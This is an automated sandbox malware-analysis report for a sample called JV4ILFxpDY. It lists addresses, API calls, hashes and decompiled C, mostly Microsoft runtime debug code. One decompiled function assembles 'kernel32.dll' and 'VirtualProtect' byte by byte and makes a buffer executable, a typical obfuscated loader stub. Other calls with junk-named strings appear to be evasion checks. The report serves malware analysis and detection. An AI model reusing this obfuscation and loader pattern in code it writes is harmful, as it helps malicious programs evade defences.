0x00426f9f
0x00426f9f
0x00426f9f
0x00426fcb
0x00426fd2
0x00427069
0x00427076
0x0042707c
0x00000000
0x00426fe2
0x00426fec
0x00426ff3
0x00000000
0x00426ff5
0x00426ffb
0x00427009
0x00427029
0x00427038
0x00427038
0x0042700b
0x00427018
0x00427018
0x00427047
0x0042704c
0x00427051
0x00427064
0x00427082
0x00000000
0x00427053
0x00427053
0x00427053
0x00427051
0x00426ff3
0x00427084
0x00427093
0x00427096
0x00426f62
0x00000000
0x00426f62
0x00000000
0x00426f84
0x004270a2
0x004270a8
0x00426d65
0x00426d6a
0x00426d73
0x00426d7c
0x00426d86
0x00426d93
0x00426d88
0x00426d8b
0x00426d8b
0x00426da3
0x00426da6
0x00426db8
0x00426dd7
0x00426ddc
0x00426ddf
0x00426de6
0x00426dfb
0x00426e0a
0x00426e1a
0x00426e31
0x00426e38
0x00426e41
0x00426e48
0x00426e5a
0x00426e60
0x00426e67
0x00426e6e
0x00426e78
0x00426e17
0x00426e17
0x00426db5
0x00000000
0x00426de8
0x00426ded
0x00426ded
0x00000000
0x00426de6
0x00426e83
0x00426ea7
0x00426eb9
0x00426f4e
0x00426e92
0x00426e9b
0x00426ea4
0x00000000
0x00426ef1
0x00426f07
0x00426f12
0x00426f1c
0x00426f2b
0x00426f30
0x00426f35
0x00426f4b
0x00000000
0x00426f37
0x00426f37
0x00426f37
0x00426f35
0x00000000
0x00426eb9
0x00000000
0x00426ea7
0x00426cbc
0x00426cbc
0x00426cbc
0x004270aa
0x004270ad
0x004270bb

APIs

GetStartupInfoA.KERNEL32(?), ref: 00426C60
GetFileType.KERNEL32(?), ref: 00426EE7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00426CA0, 00426DCC

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: 88d9daffd75b5c313d3407c0a1f191e75c377e5202a4ad1f7a3b7d5ff878f759
Instruction ID: ab82f7552c530e0a7ed4f120790df1c44ddc236aa5ba6a280d0d5192cc695f66
Opcode Fuzzy Hash: 88d9daffd75b5c313d3407c0a1f191e75c377e5202a4ad1f7a3b7d5ff878f759
Instruction Fuzzy Hash: 97E14974E04258CFDB24CFA8D894BAEFBB1BB49304F25825ED8256B392C7359846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00640420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00640533

Strings

mfoaskdfnoa, xrefs: 00640520, 00640523
saodkfnosa9uin, xrefs: 006404DA
0, xrefs: 00640492
d, xrefs: 00640584

Memory Dump Source

Source File: 00000000.00000002.276770861.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_640000_JV4ILFxpDY.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: d7f8583cf0a7f88934650bd496a4d03cd92627b6cd5341077280f49783a168d9
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: EC513970D08388DEEB11CBE8C949BDDBFB2AF11708F244058D5447F286C3BA5A59CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE1E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0041BE1E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L0041E420();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0x55ada0; // 0x0
					_t28 = L0041B9F0(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E0041B5B0(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00422F10(_t36))) = 0xc;
					E00422CA0(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x0041be1e
0x0041be1e
0x0041be1e
0x0041be1e
0x0041be2b
0x0041be2d
0x0041be30
0x0041be33
0x0041be35
0x0041be3a
0x0041be3c
0x0041be41
0x0041be46
0x0041be48
0x0041be4d
0x0041be53
0x0041be55
0x0041be55
0x0041be53
0x0041be5a
0x0041be90
0x0041bea3
0x0041beae
0x0041beb6
0x0041bebd
0x0041bec9
0x0041bece
0x0041bed1
0x0041be5c
0x0041be61
0x0041be7d
0x0041be85
0x0041be85
0x0041bed7

APIs

__invalid_parameter.LIBCMTD ref: 0041BE7D
_memset.LIBCMT ref: 0041BEC9

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BE41, 0041BE6E
_calloc_dbg_impl, xrefs: 0041BE73
(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041BE35, 0041BE78

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: d99e891b72dfb6da2a7e15f5828529be892413066307b77d84ecb65a07e6860b
Instruction ID: 3567ecaad371f71917b5cafa2fb3c23622e90ad567553337f1c089edfe2f1665
Opcode Fuzzy Hash: d99e891b72dfb6da2a7e15f5828529be892413066307b77d84ecb65a07e6860b
Instruction Fuzzy Hash: B2119675A40208FBCB00DF94DD46FDE3765EB58714F10815AFA08AB2C1D7B8DA408B99

Uniqueness

Uniqueness Score: -1.00%

Function 00419C2E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00419C2E() {
				struct HINSTANCE__* _t1;
				int _t3;
				DWORD* _t4;

				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x441771 = 0x64;
				 *0x441772 = 0x6c;
				 *0x441774 = 0;
				M0044176B = 0x6e;
				M0044176C = 0x65;
				M0044176D = 0x6c;
				M0044176E = 0x33;
				M0044176F = 0x32;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA("VirtualProtect"); // executed
				 *0x5547dc = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x453940,  *0x55abe4, 0x40, _t4); // executed
				return _t3;
			}

0x00419c34
0x00419c3b
0x00419c42
0x00419c49
0x00419c50
0x00419c57
0x00419c5e
0x00419c65
0x00419c6c
0x00419c73
0x00419c7a
0x00419c81
0x00419c88
0x00419c8f
0x00419c95
0x00419ca6
0x00419cb3
0x00419cba
0x00419cc1
0x00419cc8
0x00419ccf
0x00419cd6
0x00419cdd
0x00419ce4
0x00419ceb
0x00419cf2
0x00419cf9
0x00419d00
0x00419d07
0x00419d0e
0x00419d15

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419C8F
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419D0E

Strings

VirtualProtect, xrefs: 00419C2F

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: VirtualProtect
API String ID: 3279857687-268857135
Opcode ID: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction ID: 2fcbfe794da57f3ecd4e0552fa92b34eae4c3e2dade8687ecbbc7c313487ee15
Opcode Fuzzy Hash: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction Fuzzy Hash: DC211A6854C7C0C9E302A738EE187453E969323769F1841A991951A2B2C7FB21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 006405B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 006405EC

Strings

apfHQ, xrefs: 006405E2, 006405E5
o, xrefs: 00640600

Memory Dump Source

Source File: 00000000.00000002.276770861.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_640000_JV4ILFxpDY.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c3ba88ad5417a97d7029a1f8d772838078230e27f444f4252f7f35e41dd2f9a9
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 81011E70C0425CEAEB14DB98C5183EEBFB5AF41308F14809DC5492B342D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA0F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041BA0F(intOrPtr __eax, void* __ecx) {
				intOrPtr _t20;
				void* _t27;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t27 - 4)) = __eax;
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						break;
					}
					L3:
					if( *((intOrPtr*)(_t27 + 0xc)) != 0) {
						L5:
						if(E004293F0(__ecx,  *((intOrPtr*)(_t27 + 8))) != 0) {
							L7:
							L1:
							L0041BA60( *((intOrPtr*)(_t27 + 8)),  *((intOrPtr*)(_t27 + 0x10)),  *((intOrPtr*)(_t27 + 0x14)),  *((intOrPtr*)(_t27 + 0x18)),  *((intOrPtr*)(_t27 + 0x1c)));
							continue;
						} else {
							L6:
							 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
							_t20 = 0;
						}
					} else {
						L4:
						 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
						_t20 =  *((intOrPtr*)(_t27 - 4));
					}
					L8:
					return _t20;
					L9:
				}
				L2:
				_t20 =  *((intOrPtr*)(_t27 - 4));
				goto L8;
			}

0x0041ba0f
0x0041ba0f
0x0041ba0f
0x0041ba12
0x0041ba19
0x00000000
0x00000000
0x0041ba20
0x0041ba24
0x0041ba34
0x0041ba42
0x0041ba51
0x0041b9f6
0x0041ba0a
0x00000000
0x0041ba44
0x0041ba44
0x0041ba47
0x0041ba4d
0x0041ba4d
0x0041ba26
0x0041ba26
0x0041ba29
0x0041ba2f
0x0041ba2f
0x0041ba53
0x0041ba56
0x00000000
0x0041ba56
0x0041ba1b
0x0041ba1b
0x00000000

Strings

QQ, xrefs: 0041BA09

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 35ba765923ca29a4bfbeb5ec0f91f1b5642f153a8be585cbd907fc817159f631
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: D801F6B5A00109EBDB14CF58D980BEB73B4EF88344F10815AFD0A87240D738EE92DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00424740, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00424740() {
				void* _t1;

				_t1 = E00424670(0); // executed
				return _t1;
			}

0x00424747
0x00424750

APIs

__encode_pointer.LIBCMTD ref: 00424747

Part of subcall function 00424670: TlsGetValue.KERNEL32(00000001), ref: 00424685
Part of subcall function 00424670: TlsGetValue.KERNEL32(00000001,00000001), ref: 004246A6
Part of subcall function 00424670: __crt_wait_module_handle.LIBCMTD ref: 004246BC
Part of subcall function 00424670: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004246D6
Part of subcall function 00424670: RtlEncodePointer.NTDLL(?), ref: 004246F7

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 991c1522c46bedd7da59729ef264c3c219dc3559e1761605fbbe5855cb3dd88b
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 79A0126254420833E00020833807B02350CC3C2638E480061F50C051422846A41040A7

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6B0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;

				E004285E0(); // executed
				_t2 = L0041B6D0(_t3, _t4, _t5); // executed
				return _t2;
			}

0x0041b6b5
0x0041b6ba
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 0041B6B5

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction ID: da039dd3b3f681b9af9a3ad5137c41942bca180ba3bad0ad4cd14775a846dd71
Opcode Fuzzy Hash: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction Fuzzy Hash: 95A0026110565C27415037A7181794E754D9CD4798BD5001E7958021036D6CA88180EF

Uniqueness

Uniqueness Score: -1.00%

Function 00419D17, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419D17(void* __eax) {
				void* _t3;

				_t3 = LocalAlloc(0, ??); // executed
				 *0x453940 = _t3;
				return _t3;
			}

0x00419d1e
0x00419d24
0x00419d29

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419D1E

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 328b38956f2cee6fd3145982f2ae6cb1bfe0be84657c63a518d1894c71b59d74
Instruction ID: 264a79083637c77b35a120d9c5117da2d419632272c14f4acaa1252e06e6d102
Opcode Fuzzy Hash: 328b38956f2cee6fd3145982f2ae6cb1bfe0be84657c63a518d1894c71b59d74
Instruction Fuzzy Hash: 75B011F000A3008BC3000F20AA08B003AA0B300B23F000232EA00E02A2CBB080008A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00419D16, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419D1E

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction ID: e90401dc1b2c122d05c12a740f464d47e5f9c7e426064232dd3deca42c89b7c0
Opcode Fuzzy Hash: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction Fuzzy Hash: 03B011F000A3008BCB020FA0AE08B803BA2B308B23F000222E300A02B2CBB20000AB0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042CC22, Relevance: 109.0, APIs: 39, Strings: 23, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042CC22() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L00422F10(_t245));
						 *(L00422F10(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E00438430(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DAF0( *(L00422F10(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L00422F10(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041E060(E0042DC30(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041E060(E0042DC30(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041E060(E00437A60(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041E060(E00437A60(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E0041E060(E00437A60(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E0041E060(E0042DC30(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L00422F10(_t246));
						 *(L00422F10(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E0042DA40(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041DAF0( *((intOrPtr*)(L00422F10(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L00422F10(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041E060(E0042DC30(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041DAF0(L00437A30(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E0041E060(E0041DBE0(_t243, _t307 - 0x1020, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x55b808 != 0 ||  *0x55b804 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L0041E3C0(0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x55b808;
						 *(_t307 - 0x704c) =  *0x55b808;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x55b804;
							 *(_t307 - 0x7048) =  *0x55b804;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
